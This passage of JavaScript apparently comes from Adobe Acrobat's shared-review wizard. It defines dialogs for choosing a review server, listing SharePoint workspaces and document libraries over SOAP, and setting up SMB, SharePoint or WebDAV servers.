						var i = this.findSelectedIndex("srvr");

						

						app.beginPriv();

						var allServers = Collab.allReviewServers(this.data.reviewType);

						app.endPriv();

						

						var syncCommAvailable = true;

						if(this.data.reviewType == "FormDistribution")

						    syncCommAvailable = Collab.hasSynchonizer;

				

						//remove the webdav servers from the list of servers for FormDistribution

						if(this.data.reviewType == "FormDistribution" && syncCommAvailable)

							allServers = allServers.filter(RemoveWebdav); 



						var selServer = allServers[i];

						var url = selServer.Settings.cSetting;

						str = str.replace(/\{cURL\}/, url);

						this.data.yurl = str;

						toLoad.yurl = ANSMBURLToPlatformPath(str);

						toShow.yurl = true;

						toShow.surl = true;

					

						toLoad.rsp1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1" + this.data.UB + WT);

						toLoad.rsp2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2" + WT);

						

						if(this.data.reviewType == "SharedReview")

						{

							oA_SharedReviewServerDistribute_110x64_N	= Collab.getIcon("A_SharedReviewServerDistribute_110x64_N.png");

							oA_SharedReviewServerComment_110x64_N		= Collab.getIcon("A_SharedReviewServerComment_110x64_N.png");

							oA_SharedReviewServerCollect_110x64_N		= Collab.getIcon("A_SharedReviewServerCollect_110x64_N.png");



							toLoad.icn1 = oA_SharedReviewServerDistribute_110x64_N;

							toLoad.icn2 = oA_SharedReviewServerComment_110x64_N;

							toLoad.icn3 = oA_SharedReviewServerCollect_110x64_N;

						}

						else if(this.data.reviewType == "FormDistribution")

						{

							oA_ServerDistribute_110x64_N				= Collab.getIcon("A_ServerDistribute_110x64_N.png");

							o_ServerRespond_110x64_N					= Collab.getIcon("A_ServerRespond_110x64_N.png");

							oA_ServerCollect_110x64_N					= Collab.getIcon("A_ServerCollect_110x64_N.png");



							toLoad.icn1 = oA_ServerDistribute_110x64_N;

							toLoad.icn2 = oA_ServerRespond_110x64_N;

							toLoad.icn3 = oA_ServerCollect_110x64_N;

						}

					}

					

					toLoad.clt1 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1" + this.data.UB + WT);



					//if (app.platform == "MAC")

					  //  toLoad.clt2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2_MAC" + WT);

					//else

					    toLoad.clt2 = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2" + WT);

				}

				

				dialog.load(toLoad);

				dialog.enable(toEnable);

				dialog.visible(toShow);

			},

/*			yurl: function(dialog)

			{

				var url = this.data.yurl;

				app.launchURL(url, true);

			},

*/			lmdc: function(dialog)

			{

				var url = SharedString("IDS_SHARED_REVIEW_LEARN_MORE_ABOUT_DC_URL" + WT);

				app.launchURL(url, true);

			},

						

			help: function(dialog)

			{

				app.beginPriv();

				Collab.launchHelpViewer("Forms_Reviews_Distribution");

				app.endPriv();

			},



			findSelectedIndex: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

					{

						return o[i] - 1;

					}

				}

				return -1;

			},



			getSelectedItemText: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return i;

				}

				return "";

			},



            updateServers: function(dialog)

			{

				//NOTE: This function should be called only once, which is from initialize()

				//update the sevrer profile list				

				//TODO_COLLAB anmol dikumar before adding doc center pls check if its allowed 

				//by calling IsDocCtrAvailable()

				

				var syncCommAvailable = true;

				if(this.data.reviewType == "FormDistribution")

				    syncCommAvailable = Collab.hasSynchonizer;

				

				app.beginPriv();

				var servers = Collab.allReviewServers(this.data.reviewType);

				app.endPriv();

				

				//remove the webdav servers from the list of servers for FormDistribution

				if(this.data.reviewType == "FormDistribution" && syncCommAvailable)

					servers = servers.filter(RemoveWebdav); 

					

				//ANDumpObj(servers);

				

				var srvr = {};

				var idx = 1;

				if (syncCommAvailable)

				{ 

			        var didSelect = false;

    			    var bServerDefault = false;



				    for(var i in servers)

				    {

				    	var server = servers[i];

				    	

				    	var currIndex = (idx++);

				    	if(this.data.reviewType == "SharedReview")

				    	{

						    if(!server.Default)

							    currIndex = -currIndex;

						    else bServerDefault = true;

				    	}

				    	else

				    	{

				    		 if(!server.DefaultFD)

							    currIndex = -currIndex;

		 					 else bServerDefault = true;

				    	}



					    srvr[server.UI] = currIndex;

				    }

    				

				    if(!bServerDefault && servers.length > 0)

				    {

					    var server = servers[0];

					    srvr[server.UI] = -srvr[server.UI];

				    }

				    if(this.data.reviewType != "FormDistribution")

				    {

				        if (servers.length >0)

				            srvr[SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)] = -(idx++);

				         else

				            srvr[SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)] = (idx++);

				    }

			    }

			    else

			    {

				     for(var i in servers)

				    {

				    	var server = servers[i];

				    	

				    	var currIndex = (idx++);



							    currIndex = -currIndex;



					    srvr[server.UI] = currIndex;

				    }

			    }

				

				//This inserts the item in the popup in alphabetical order. However we want it in a specific order as 

				//defined by the XD. So use the insertEntryInList call

				//this.dialog.load({srvr: srvr});

				{

					//0. First remove all the entries 

					//1. Acrobat.com entry

					//2. For Forms, the email entry

					//3. "Your own server" entry

					//4. The "---" entry, add this only if there is an entry other DCServer in the servers

					//5. All other servers 



					//0. First remove all the entries 

					dialog.removeAllEntriesFromList("srvr");

					

					//1. Acrobat.com entry

					if (syncCommAvailable && Collab.isDocCtrInitAvailable)

					{

						var acrobat_dot_com = {};

						acrobat_dot_com[SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT)] = srvr[SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT)];

						dialog.insertEntryInList({"srvr": acrobat_dot_com });

					}

					

					//2. For Forms, the email entry

					if(this.data.reviewType == "FormDistribution")

					{

						var email_attachment = {};

						if (!syncCommAvailable)

							srvr[AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL] = 2;

						email_attachment[AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL] = srvr[AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL];

						dialog.insertEntryInList({"srvr": email_attachment});

					}

					

					

					//3. "Your own server" entry

					if (syncCommAvailable)

					{

						var your_own_server = {};

						your_own_server[SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)] = srvr[SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)]; 

						dialog.insertEntryInList({"srvr": your_own_server});

					}

					

					//4. The "---" entry, add this only if there is an entry other DCServer in the servers

					if (syncCommAvailable)

					{

						for (var i in servers)

						{

							//app.alert("entry: " + servers[i].UI + ":" + srvr[servers[i].UI]);

							if (servers[i].UI != SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT) && servers[i].UI != AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL && (servers[i].UI != SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)))

							{

								dialog.insertSeparatorEntryInList("srvr");

								break;

							}

						}

					}

					

					//5. All other servers 

					if (syncCommAvailable)

					{

						for (var i in servers)

						{

							if (servers[i].UI != SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT) && servers[i].UI != AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL && (servers[i].UI != SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT)))

							{

								var entry = {};

								entry[servers[i].UI] = srvr[servers[i].UI];

								dialog.insertEntryInList({"srvr": entry });

							}

						}

					}

				}

			},



			commit: function(dialog, next)

			{

				if (next)

				{

					this.data.addInternalServer = false;

					

					app.beginPriv();

					var servers = Collab.allReviewServers(this.data.reviewType);

					app.endPriv();

	

					if(this.data.reviewType == "FormDistribution")

					    syncCommAvailable = Collab.hasSynchonizer;

	

					

					//remove the webdav servers from the list of servers for FormDistribution

					if(this.data.reviewType == "FormDistribution" && syncCommAvailable)

						servers = servers.filter(RemoveWebdav); 

    

    				var i = this.findSelectedIndex("srvr");

					if((i >= 0) && (i < servers.length))

					{

						// An existing server profile was selected

						// need to fill the following

						// 1. data.server

						var srvr = servers[i];



						this.data.server = srvr;

						

						//ANDumpObj(this.data.server);

	

						// 2. data.serverType

						this.data.serverType = "";

						for (var j in this.data.drivers)

						{

							if (servers[i].URL == j )

								this.data.serverType = this.data.drivers[j].initiatorName;

						}

						

						if (this.data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

							this.data.UseDocumentCenter = true;

						else 

							this.data.UseDocumentCenter = false;							

						

						ANDumpObj(this.data.server);



						if(this.data.reviewType == "SharedReview")

						{

							if(!this.data.server.Default)

							{

								app.beginPriv();

								Collab.setDefaultReviewServer(this.data.server.URL, this.data.server.UI, this.data.reviewType);

								app.endPriv();

							}

						}

						else

						{

							if(!this.data.server.DefaultFD)

							{

								app.beginPriv();

								Collab.setDefaultReviewServer(this.data.server.URL, this.data.server.UI, this.data.reviewType);

								app.endPriv();

							}

						}

						if (!(this.dialog.store()["rmbr"]))

						{

							app.beginPriv();

							Collab.unsetAlwaysUseServer(this.data.reviewType);

							app.endPriv();

						}

						else if(((this.data.reviewType == "SharedReview" && !this.data.server.AlwaysUseServer) || (this.data.reviewType == "FormDistribution" && !this.data.server.AlwaysUseServerFD))&& (this.dialog.store()["rmbr"]))

						{

							app.beginPriv();

							Collab.setAlwaysUseServer(this.data.server.URL, this.data.server.UI, this.data.reviewType);

							app.endPriv();

						}

						else

							;//do nothing

					}

					else

					{

						//this is add new internal server thing

						if (this.getSelectedItemText("srvr") == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT))

						{

							this.data.addInternalServer = true;

							this.data.UseDocumentCenter = false;

							this.data.serverType = SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER"+WT);

						}

					}

				}

			},

			

			description: 

			[

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					//margin_height: Collab.marginHeight,

					//margin_width: Collab.wizardMarginWidth,

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							width: Collab.wizardWidth-(2*Collab.wizardMarginWidth),

							align_children: "align_left",

							alignment: "align_fill",

							margin_height: 16,

							margin_width: Collab.wizardMarginWidth,

							item_id: "mgr1",

							back_color: "white", 

							//gradient_direction: "topToBottom", 

							//gradient_type: "lightToDark",

							

							elements:

							[

								{

									type: "static_text",

									name: "",

									alignment: "align_fill",

									item_id: "hdng",

									font: "dialog",

									bold: true,

								},

								{

									type:"view",

									width: Collab.wizardWidth-(2*Collab.wizardMarginWidth),

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

								

										{

											type: "popup",

											width: 480,//desiredPopupWidth, The desiredPopupWidth is 5 pixels less than the desired value. Putting a hard value of 480 here. 

											item_id: "srvr"

										},

									]

								},								

							]

						},

						{

							type:"view",

							width: Collab.wizardWidth-(2*Collab.wizardMarginWidth),

							margin_width: Collab.wizardMarginWidth,

							align_children: "align_left",

							alignment: "align_fill",

							elements:

							[

								{

									type: "view",

									align_children: "align_top",

									alignment: "align_fill",

									elements:

									[

										{

											type: "view",

											align_children: "align_left",

											alignment: "align_fill",

											elements:

											[

												{

													type: "gap",

													height: 2,

												},

												{

													type: "view",

													align_children: "align_top",

													alignment: "align_fill",

													elements:

													[

														{

															type: "gap",

															width: 110,

														},

														{

															type: "gap",

															width: 7,

														},

														{

															type: "static_text",

															name: AnnotsString.IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO,

															item_id: "payt",

															bold: true,

															font: "dialog",

															width: 370,

															truncate: "truncate_end",

														},

													]

												},

												{

													type: "view",

													align_children: "align_top",

													alignment: "align_fill",

													elements:

													[

														{

															type: "image",

															item_id: "icn1",

															width: 110,

															height: 64,

														},

														{

															type: "gap",

															width: 7,

														},

														{

															type: "view",

															align_children: "align_left",

															alignment: "align_fill",

															elements:

															[

																{

																	type: "static_text",

																	name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST" + WT),

																	bold: true,

																	font: "dialog"

																},

																{

																	type: "view",

																	align_children: "align_top",

																	elements:

																	[

																		{

																			type: "static_text",

																			name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLET,

																		},

																		{

																			type: "view",

																			align_children: "align_left",

																			alignment: "align_fill",

																			elements:

																			[

																				{

																					type: "static_text",

																					item_id: "dst1",

																					name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_DC" + WT),

																					wrap_name: true,

																					width: 370,

																				},

																				{

																					type: "view",

																					align_children: "align_row",

																					elements:

																					[

																						{

																							type: "static_text",

																							item_id: "surl",

																							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_SERVER_LOC,

																						},

																						{

																							type: "static_text",

																							item_id: "yurl",

																							name: "",

																							alignment: "align_fill",

																							truncate: "truncate_end",																							

																							width: 270,

																						},

																					]

																				},

																			]

																		}

																	]

																},

															]

														}

													]

												},

												{

													type: "view",

													align_children: "align_top",

													alignment: "align_fill",

													elements:

													[

														{

															type: "image",

															item_id: "icn2",

															width: 110,

															height: 64,

														},

														{

															type: "gap",

															width: 7,

														},

														{

															type: "view",

															align_children: "align_left",

															alignment: "align_fill",

															elements:

															[

																{

																	type: "static_text",

																	name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP" + WT),

																	bold: true,

																	font: "dialog"

																},

																{

																	type: "view",

																	align_children: "align_top",

																	elements:

																	[

																		{

																			type: "static_text",

																			name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLET,

																		},

																		{

																			type: "static_text",

																			name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1" + UB + WT),

																			item_id: "rsp1",

																			wrap_name: true,

																			width: 370,

																		},

																	]

																},

																{

																	type: "view",

																	align_children: "align_top",

																	elements:

																	[

																		{

																			type: "static_text",

																			name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLET,

																		},

																		{

																			type: "static_text",

																			name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2" + WT),

																			item_id: "rsp2",

																			wrap_name: true,

																			width: 370,

																		},

																	]

																},

																{

																	type: "gap",

																	height: 5,

																},

															]

														}

													]

												},

												{

													type: "view",

													align_children: "align_top",

													alignment: "align_fill",

													elements:

													[

														{

															type: "image",

															item_id: "icn3",

															width: 110,

															height: 64,

														},

														{

															type: "gap",

															width: 7,

														},

														{

															type: "view",

															align_children: "align_left",

															alignment: "align_fill",

															elements:

															[

																{

																	type: "static_text",

																	name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL" + WT),

																	bold: true,

																	font: "dialog"

																},

																{

																	type: "view",

																	align_children: "align_top",

																	elements:

																	[

																		{

																			type: "static_text",

																			name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLET,

																		},

																		{

																			type: "static_text",

																			name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1" + UB +WT),

																			item_id: "clt1",

																			wrap_name: true,

																			width: 370,

																		},

																	]

																},

																{

																	type: "view",

																	align_children: "align_top",

																	elements:

																	[

																		{

																			type: "static_text",

																			name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLET,

																			item_id: "cl00",

																		},

																		{

																			type: "static_text",

																			name: ((app.platform == "MAC") ? SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2" + WT) : SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2" + WT)),

																			item_id: "clt2",

																			wrap_name: true,

																			width: 370,

																		} //removed _MAC from first

																	]

																},

																{

																	type: "link_text",

																	name: AnnotsString.IDS_SHARED_REVIEW_LEARN_MORE_ABOUT_DC,

																	alignment: "align_fill",

																	item_id: "lmdc",

																},

															]

														}

													]

												}

											]

										},

									]

								},

								{

									type:"check_box",

									name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ALWAYS_USE_THIS,

									alignment: "align_fill",

									item_id:"rmbr"

								}

							]

						}

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

		}

		catch(e)

		{

			//console.println(e);

			//console.println(e.stack);

		}

	}

	

	IWShowSharepointWorkspace = function(data, mainDialog)

	{

		var description = 

		{

			initialize: function(dialog)

			{

				// 1. load the sites in the first list

				this.loadWorkspaces(dialog);

			},



			idle: function(dialog)

			{

				// doing nothing here

				return;

			},

			

			commit: function(dialog)

			{

				//get the selected workspace and the document library

			},



			findSelectedIndex: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return o[i] - 1;

				}

				return -1;

			},



			scan: function(dialog)

			{

				

			},

			

			// load a list of SharePoint workspaces into a list box

			loadWorkspaces: function(dialog)

			{

				if (data.sharepoint.sites)

				{

					data.sharepoint.workspaces = {}

					for (var i = 0; i < data.sharepoint.sites.length; i++)

					{

						// need to make the property value 1-based since the

						// list box negates it (i.e. makes it positive) when

						// its corresponding item is selected

						data.sharepoint.workspaces[data.sharepoint.sites[i].soapAttributes["Title"]] = -(i + 1);

					}

					

					//fix for bug 1920057. When there is only one entry in the workspace list, then when the dialog is initialized, no entry is selected by Javascript. 

					//However UIT by default selects the first entry. But even though the first entry appears selected in the workspace list, its document libraries are not shown. 

					//Because quering the document libraries for this workspace may throw up an Auth Dialog it may be irritating to the user. So the desired beahviour is:

					//when there is just one workspace, query the document libraries for it. 

					//when there are more than one workspaces, don't query for any document libraries. The user will have to specifcially select the desired workspace to get its document libraries.

					if (data.sharepoint.sites.length == 1)

						data.sharepoint.workspaces[data.sharepoint.sites[0].soapAttributes["Title"]] = (1);					

					dialog.load({"wksp": data.sharepoint.workspaces});

					if (data.sharepoint.sites.length == 1)

						this.wksp(dialog);

					else

					    dialog.load({"docl": {}});

				}

			},



			loadDocumentLibraries: function(dialog, docLibs)

			{

				dialog.load({"docl": docLibs});

			},

				

			docl: function(dialog)

			{

				var listBox = dialog.store()["docl"]

				for(var i in listBox)

				{

					if (listBox[i] > 0)

					{

						//var sep = (this.workspaceURL.length > 0 && this.workspaceURL.substr(-1) != "/" ? "/" : "");

						this.setLocation(data.sharepoint.workspaceURLS[i]);

						break;

					}

				}

			},

			

			wksp: function(dialog)

			{

				data.sharepoint.workspaceURL = null

				var listBox = dialog.store()["wksp"]

				for(var i in listBox)

				{

					if (listBox[i] > 0)

					{

						//dialog.load({ "locn": AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_LOADING_DOCLIBS });



						var ns = "http://schemas.microsoft.com/sharepoint/soap/";

						data.sharepoint.workspaceURL = data.sharepoint.sites[listBox[i] - 1].soapAttributes["Url"];



						var url = CBEncodeURL(data.sharepoint.workspaceURL, true);

						

						var request = 

						{

							cURL: url + "_vti_bin/Lists.asmx",

							oRequest:

							{

								GetListCollection : {}

							},

							cAction: ns + "GetListCollection",

							bEncoded: false,

							cNamespace: ns,

							oAuthenticate: { UsePlatformAuth: true },

							cResponseStyle: "Message"

						};



						// send the request and process the response

						try

						{

							var response = SOAP.request(request);

							//var docLibs = {}

							data.sharepoint.workspaceURLS = {};



							var result = this.getSoapValue(response[0].soapValue, "GetListCollectionResult");

							if (result)

							{

								var vlists = this.getSoapValue(result, "Lists");

								var docLibs = {};

								var libNum = 1;

								var defaultLib = "";

								for (var j = 0 ; j < vlists.length ; j++)

								{

									var listProps = vlists[j].soapAttributes;



									if (listProps.BaseType == "1" && listProps.Hidden == "False") // Document Library and not hidden

									{

										docLibs[listProps.Title] = -1; // (libNum == 1 ? libNum : -libNum);

										if (libNum == 1) defaultLib = listProps.Title;



										// Determine the URL

										var oURL = util.crackURL(url);



										var portStr = "";

										if(oURL.cScheme == "http" && oURL.nPort != 80) portStr = ":" + oURL.nPort;

										if(oURL.cScheme == "https" && oURL.nPort != 443) portStr = ":" + oURL.nPort;



										var cBaseURL = ""; 

										if( oURL.nURLType == IPV6Type)

										{

											cBaseURL = oURL.cScheme + "://" + "[" + oURL.cHost + "]" + portStr;

										}

										else

										{

											cBaseURL = oURL.cScheme + "://" + oURL.cHost + portStr;

										}



										var cPath = listProps.DefaultViewUrl;

										if(cPath.match(/\/Forms\//))

											cPath = cPath.substr(0, cPath.lastIndexOf("/Forms/"));

										else cPath = cPath.substr(0, cPath.lastIndexOf("/"));



										data.sharepoint.workspaceURLS[listProps.Title] =  encodeURI(cBaseURL + cPath);

										libNum++;

									}

								}

								this.loadDocumentLibraries(dialog, docLibs);

								if (defaultLib.length > 0)

									this.setLocation(data.sharepoint.workspaceURLS[defaultLib]);

								else 

									this.setLocation(url);

							}

							else

							{

								//dialog.load({ "locn": this.location });

							}

						}

						catch (e)

						{

							if (e.statusCode)

							{

								var msg = undefined;

								switch (e.statusCode)

								{

								case 401:

								case 403:

									msg = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICT;

									break;

								case 404:

									msg = AnnotsString.IDS_SERVICE_MISSING;

									break;									  

								}

								if (msg)

								{

									app.beginPriv();

									app.alert({cMsg: msg, nIcon: 0});

									app.endPriv();

								}

							}



							// Bugfix #1348282 -- clear the list

							dialog.load({"docl": []});

						}

						break;

					}

				}

			},

			

			setLocation: function(loc)

			{

				data.sharepoint.location = loc;

				//TODO: show it in main dialog.

				//this.dialog.load({ "locn": this.location });

			},



			// Searches an array of soapValues, each with the following object format: {soapName, soapQName, soapValue},

			// looking for the first one whose soapName property ends with the given name parameter. If a matching

			// soapValue is found, the value of its soapValue property is returned. If no matching soapValue is found 

			// then undefined is returned.

			getSoapValue: function(soapValues, name)

			{

				for (var i = 0 ; i < soapValues.length ; i++)

				{

					var value = soapValues[i];

					if (value["soapName"] && value["soapValue"])

					{

						// poor man's endsWith()

						var index = value["soapName"].lastIndexOf(name);

						if (index >= 0 && name.length == value["soapName"].length - index)

							return value["soapValue"];

					}

				}

				return undefined;

			},

				

			description:

			{

				name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES_DUP,

				align_children: "align_left",

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "static_text",

								name: SharedString("IDS_SHARED_REVIEW_SHAREPOINT_MESSAGE" + WT),

								wrap_name: true,

								width: 370,

//								alignment: "align_fill",

							},

							

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: "view",

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_WORKSPACES,

												font: "dialog",

												bold: true,

											},

											{

												type: "list_box",

												item_id: "wksp",

												height: 100,

												width: 185,

											}

										]

									},

									{

										type: "view",

										elements:

										[

											{

												type: "static_text",

												name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DOCLIBS,

												font: "dialog",

												bold: true,

											},

											{

												type: "list_box",

												item_id: "docl",

												height: 100,

												width: 185,

											},

										]

									}

								]

							},

							{

								type: "ok_cancel",

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};





	// We must not make anything sticky here

	// Outputs: 

	// this.data.serverType

	IWNewInternalServer = function(data, reviewType, checkSize)

	{

		var config = {};



		var serverDesc = [];

		var serverControls = {};

		

		for(var i in data.servers)

		{

			// Max of 10 Servers

			if(serverDesc.length >= 10) 

				break;



			var server = data.servers[i];

		

			DebugAlert("server.initiatorName :" + server.initiatorName + "\n server.URL " + server.URL);

			if(server.initiatorName != "")

			{

				var id = "svr" + i;

				serverControls[id] = server;

				

				serverDesc[serverDesc.length] =

				{

					type: "radio",

					item_id: id,

					group_id: "srvr",

					name: server.initiatorName,

				};

			}

		}

		data.serverControls = serverControls;



		var description = 

		{

			webdav : 

			{

				oConfig: 

				{

					cSetting: "",

					bUseWindowsIntegratedAuthentication: false,

				},

	

				cVerifyURL: null,       // URL to be verified

				cVerifiedURL: null,      // URL that was verified

				oAuth: {},

	

				aStates: ["writeable", "enumerable", "removeable"],

				nState: 0,

				cFileURL: null,

				oFileURL: null,

				bFoundFile: false,

				bDoCommit: false,

				bCommitCanBeDone: false,

				bUseWindowsIntegratedAuthentication:false,

			},

			

			smb :

			{

				oConfig: 

				{

					cSetting: ""

				},

				cVerifiedURL: null,

			},

			sharepoint : 

			{

				oConfig: 

				{

					cSetting: "",

					bUseWindowsIntegratedAuthentication: true,

				},

	

	            sites: null,

	            workspaces: null,

	            workspaceURL: null,

	            location: null,

				cVerifyURL: null,       // URL to be verified

				cVerifiedURL: null,      // URL that was verified

				bDoCommit: false,

				bDoDefaultCommit: false,

				bDoDefaultCommitCanBeDone: false,

				defaultDocumentLibrary: true,



				aStates: ["writeable", "enumerable", "removeable"],

				nState: 0,

				cFileURL: null,

				bFoundFile: false,

				workspaceURLS: {},

			},

			reviewType: reviewType,

			initialize: function(dialog)

			{

				this.data.webdav = this.webdav;

				this.data.smb = this.smb;

				this.data.sharepoint = this.sharepoint;

				

				if (this.data.oSavedSMBState == undefined) 

					this.data.oSavedSMBState = {};	

				if (this.data.oSavedSharePointState == undefined) 

				    this.data.oSavedSharePointState = {};

				if (this.data.oSavedWebDavState == undefined) 

				    this.data.oSavedWebDavState = {} 

				

				var toLoad = {};

				var toShow = {};

				var toEnable = {};

				

				//load the icon

				toLoad.img1 = "C_Info_Xl_N.png";

				

				toShow.chs1 = false;

				toShow.chs2 = false;

				toShow.chs3 = false;

				toShow.chs4 = false;

				

				toLoad.hdng = SharedString("IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADING" + WT);

				

				//Initialize the status message

				this.setStatus(AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIALIZE);



				app.beginPriv();

				var latestReview = Collab.getCustomServerLink('Latest');

				app.endPriv();

                

				if (this.data.previousSelectedID != undefined)

				{

					var r_id = this.data.previousSelectedID;

					

					if(r_id == "svr0")

					{

						toLoad.svr0 = true;

						dialog.focus("svr0");

					}

					else

					if(r_id == "svr1")

					{

						toLoad.svr1 = true;

						dialog.focus("svr1");

					}

					else

					if(r_id == "svr2")

					{

						toLoad.svr2 = true;

						dialog.focus("svr2");

					}

					else

					{

						toLoad.r_id = true;

						dialog.focus(r_id);

					}

					

					var item = this.data.serverControls[r_id].initiatorName;

					

					switch (item)

					{

						case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

						{

						    if (this.data.oSavedSMBState != undefined && this.data.oSavedSMBState.cURL != undefined)

								toLoad.loct = this.data.oSavedSMBState.cURL;

							break;

						}

						case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

						{

							if (this.data.oSavedSharePointState != undefined && this.data.oSavedSharePointState.cURL != undefined)

								toLoad.loct = this.data.oSavedSharePointState.cURL;

							break;

						}

						case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

						{

							if (this.data.oSavedWebDavState != undefined && this.data.oSavedWebDavState.cURL)

								toLoad.loct = this.data.oSavedWebDavState.cURL;

							break;

						}

					}

				}

				else if (latestReview != undefined)

				{

				    if (latestReview == 'urn://ns.adobe.com/Collaboration/SharedReview/SMB')

				    {

				        var r_id = "svr0";

				        toLoad.svr0 = true;

				        dialog.focus("svr0");



				        app.beginPriv();

				        var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/SMB');

				        app.endPriv();



				        if (customURL == undefined) {

				            if (app.platform == "WIN")

				                customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN;

				            else

				                customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_MAC;

				        }



				        toLoad.loct = customURL;

				    }

				    else if (latestReview == 'urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint')

				    {

				        var r_id = "svr1";

				        toLoad.svr1 = true;

				        dialog.focus("svr1");



				        app.beginPriv();

				        var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint');

				        app.endPriv();



				        if (customURL == undefined) {

				            customURL = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_SUGGESTION;

				        }



				        toLoad.loct = customURL;

				    }

				    else

				    {

				        var r_id = "svr2";

				        toLoad.svr2 = true;

				        dialog.focus("svr2");



				        app.beginPriv();

				        var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/WebDAV');

				        app.endPriv();



				        if (customURL == undefined) {

				            customURL = AnnotsString.IDS_SHARED_REVIEW_WEBDAV_SUGGESTION;

				        }



				        toLoad.loct = customURL;

				    }

				}

				else

				{

					var r_id = "svr0";

					toLoad.svr0 = true;

					dialog.focus("svr0");

					

					app.beginPriv();

					var customURL = Collab.getCustomServerLink('urn://ns.adobe.com/Collaboration/SharedReview/SMB');

					app.endPriv();



					if (customURL == undefined) {

					    if (app.platform == "WIN")

					        customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_WIN;

					    else

					        customURL = AnnotsString.IDS_SHARED_REVIEW_SMB_SUGGESTION_MAC;

					}



					toLoad.loct = customURL;



				}

				

				var radioItem = this.data.serverControls[r_id].initiatorName;

				

				switch (radioItem)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					{

						// 1. Hide controls for other server types

					    toShow.butt = true;

